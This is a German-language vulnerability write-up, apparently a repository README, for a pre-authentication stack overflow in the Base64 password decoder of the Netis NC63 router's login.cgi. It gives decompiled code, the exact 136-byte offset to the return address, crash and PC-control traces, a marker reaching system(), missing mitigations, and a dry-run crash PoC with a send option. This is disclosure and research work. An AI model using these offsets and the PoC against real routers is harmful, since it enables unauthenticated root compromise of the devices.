
Originalforschung und nicht-destruktiver PoC für einen Pre-Auth-Stack-Buffer-Overflow im Base64-dekodierten Passwort in Netis NC63 login.cgi
login.cgi, der zu RCE führtForscher: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordDer öffentliche Login-Handler in der Netis-NC63-Firmware V3.0.0.3327 ruft den
angreiferkontrollierten Parameter password ab und dekodiert ihn mit der
benutzerdefinierten Base64-Routine FUN_00402bd4. Der Aufrufer stellt einen
64-Byte-lokalen Stack-Puffer bereit, übergibt dem Dekodierer aber nicht dessen
Kapazität. Der Dekodierer leitet seine Arbeit aus der kodierten Eingabe ab und
schreibt dekodierte Bytes, ohne das Ende des Ziels zu prüfen.
Die gespeicherte MIPS-Rücksprungadresse befindet sich 136 Bytes vom Beginn des dekodierten Puffers entfernt. Dynamische Tests gegen das Produktions-CGI mit Original-Hash bestätigten:
B-Muster erzeugt einen Fehler bei 0x42424242;ra durch 0x0041a2e0 führt zu einem zweiten
beobachteten Eintritt in den Login-Handler, was die Programmzähler-Kontrolle
beweist; undsystem()-Aufruf des ursprünglichen Binärs mit einem angreifergewählten
MIPS-a0-Wert. Das ersetzte /bin/sh protokollierte /bin/sh -c NC63_RCE_PROOF und führte keinen Befehl aus.Der öffentliche PoC in diesem Repository stoppt bewusst bei einem Absturzmuster. Er enthält weder Return-Chain, Shellcode, Befehl, Reverse Shell noch Persistenz.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
Die dynamisch getestete Kopie von /bin/netis.cgi hat denselben SHA-256-Wert wie
das vom Anbieter extrahierte ausführbare Programm.

Das Frontend des Anbieters sendet das Passwort als Base64 an den öffentlichen Endpunkt:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
Das HTML-Feld verwendet maxlength="63", aber das ist nur eine Einschränkung
auf Browserseite. Ein direkter HTTP-Client kann einen größeren kodierten Wert
übermitteln.

login.cgi ist zwangsläufig vor der Authentifizierung erreichbar. Die unsichere
Dekodierung erfolgt, bevor das dekodierte Passwort mit dem konfigurierten
Administratorpasswort verglichen wird. Es sind weder eine gültige Sitzung, ein
Cookie-Header, ein Authorization-Header noch ein korrektes Passwort erforderlich.
Nicht authentifizierter HTTP-Client
|
| POST /cgi-bin/login.cgi
| password=<angreiferkontrolliertes Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| kein Zielkapazitäts-Argument
| dekodierte Ausgabe überschreitet 64 Bytes
v
gespeichertes s8 bei dekodiertem Offset 132
gespeichertes ra bei dekodiertem Offset 136
|
v
vom Angreifer gewählter MIPS-PC
Von Ghidra abgeleiteter Pseudocode, mit zur Lesbarkeit normalisierten Namen:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* keine Kapazitätsangabe */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

Der Dekodierer bei FUN_00402bd4 erhält nur Zeiger auf Ziel und Quelle.
Seine Schleife erhöht den Zielzeiger und speichert für jeweils vier
Base64-Symbole bis zu drei dekodierte Bytes. Kein Vergleich prüft das Ziel gegen
decoded + 64.

Base64 ist die Eingabe-Transformation, nicht der zugrunde liegende Fehler. Die Ursache ist die Diskrepanz zwischen der angreiferkontrollierten dekodierten Länge und einem Ziel fester Größe, dessen Kapazität nie durchgesetzt wird. Bei gewöhnlicher aufgefüllter Eingabe repräsentieren vier kodierte Zeichen bis zu drei dekodierte Bytes; serverseitige Prüfungen müssen daher die dekodierte Größe berechnen und validieren, bevor geschrieben wird.
FUN_0041a2e0 startet bei 0x0041a2e0 und erstellt einen 0xa8-Byte-Frame:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
Das dekodierte Ziel beginnt bei s8+0x1c; gespeichertes s8 und gespeichertes
ra befinden sich bei s8+0xa0 bzw. s8+0xa4:
decoded[64] s8+0x1c dekodierter Offset 0
gespeichertes s8 s8+0xa0 dekodierter Offset 132
gespeichertes ra s8+0xa4 dekodierter Offset 136
Der exakte Abstand zur Rücksprungadresse beträgt 0xa4 - 0x1c = 0x88, also 136 Bytes.

Ein 140-Byte-dekodiertes B-Muster ersetzte die vier Bytes der gespeicherten Rücksprungadresse:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

Eine separate 140-Byte-Eingabe setzte die gespeicherte ra auf 0x0041a2e0. Die
QEMU-CPU-Ablaufverfolgung zeichnete einen normalen ersten Handler-Eintritt gefolgt
von einem zweiten Eintritt mit s8=0x41414141 und ra=0x0041a2e0 auf.

Das ursprüngliche Binär enthält einen direkten jal system bei 0x0041a3cc. In
der privaten isolierten Validierung luden vorhandene Befehle mit fester Basis
einen Marker in a0 und erreichten diesen Aufruf. Ein statisches Beobachtungsprogramm
wurde über /bin/sh gemountet; es protokollierte die Befehlsinterpreter-Argumente
und führte nichts aus:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: angreiferkontrolliertes a0 erreichte system() und /bin/sh-argv.
PASS: der Wächter protokollierte die Anfrage und führte keinen Befehl aus.
Dies demonstriert eine RCE-Primitive im isolierten Produktionscode-Pfad. Es belegt keine identische Exploit-Zuverlässigkeit auf einem physischen Router unter dessen eingesetztem Kernel und Stack-Randomisierungskonfiguration.
Die ursprüngliche Boa-Konfiguration gibt User root, Group root und einen
CGI-Pfad mit /bin und /web/cgi-bin an. Das Produktions-Binary hat eine feste
Basis (0x00400000), keinen Stack-Canary und kein RELRO und deklariert einen
ausführbaren GNU-Stack mit RWX-Segmenten.


Das enthaltene Skript ist standardmäßig im Trockenlaufmodus und erzeugt nur einen
Base64-Formularbody mit 140 B-Bytes nach der Dekodierung:
python3 poc/poc.py
Das Senden erfordert ein ausdrücklich autorisiertes Ziel und --send:
python3 poc/poc.py --target http://192.168.1.1 --send
Das Senden des Musters kann den CGI-Prozess zum Absturz bringen. Verwenden Sie es nur in einer autorisierten Wegwerfumgebung. Der PoC implementiert die private RCE-Validierungskette nicht.
Eine erfolgreiche Ausnutzung kann angreifergewählten Code oder Befehle im Router-Verwaltungskontext ausführen. Unter der ursprünglichen Boa-Konfiguration läuft dieser Kontext als root. Mögliche Folgen sind die Offenlegung von Konfiguration und Geheimnissen, DNS-/Firewall-/Routing-Manipulation, Verkehrsumleitung, Dienstunterbrechung und vollständige Kompromittierung des Geräts.
FUN_00402bd4.Siehe evidence/README.md für Screenshots und
Ablaufverfolgungs-Zuordnung. Normalisierte Ghidra-Auszüge befinden sich unter
attachments/decompiled-functions/.
CVE-2026-76070 zugewiesen und die öffentliche Offenlegung autorisiert.Es wurde kein physischer Router geflasht. Es wurden keine echten Shell-Befehle, Reverse Shells, Persistenz, externe Verbindungen, Anmeldedatendiebstahl oder destruktive Firmware-Operationen verwendet.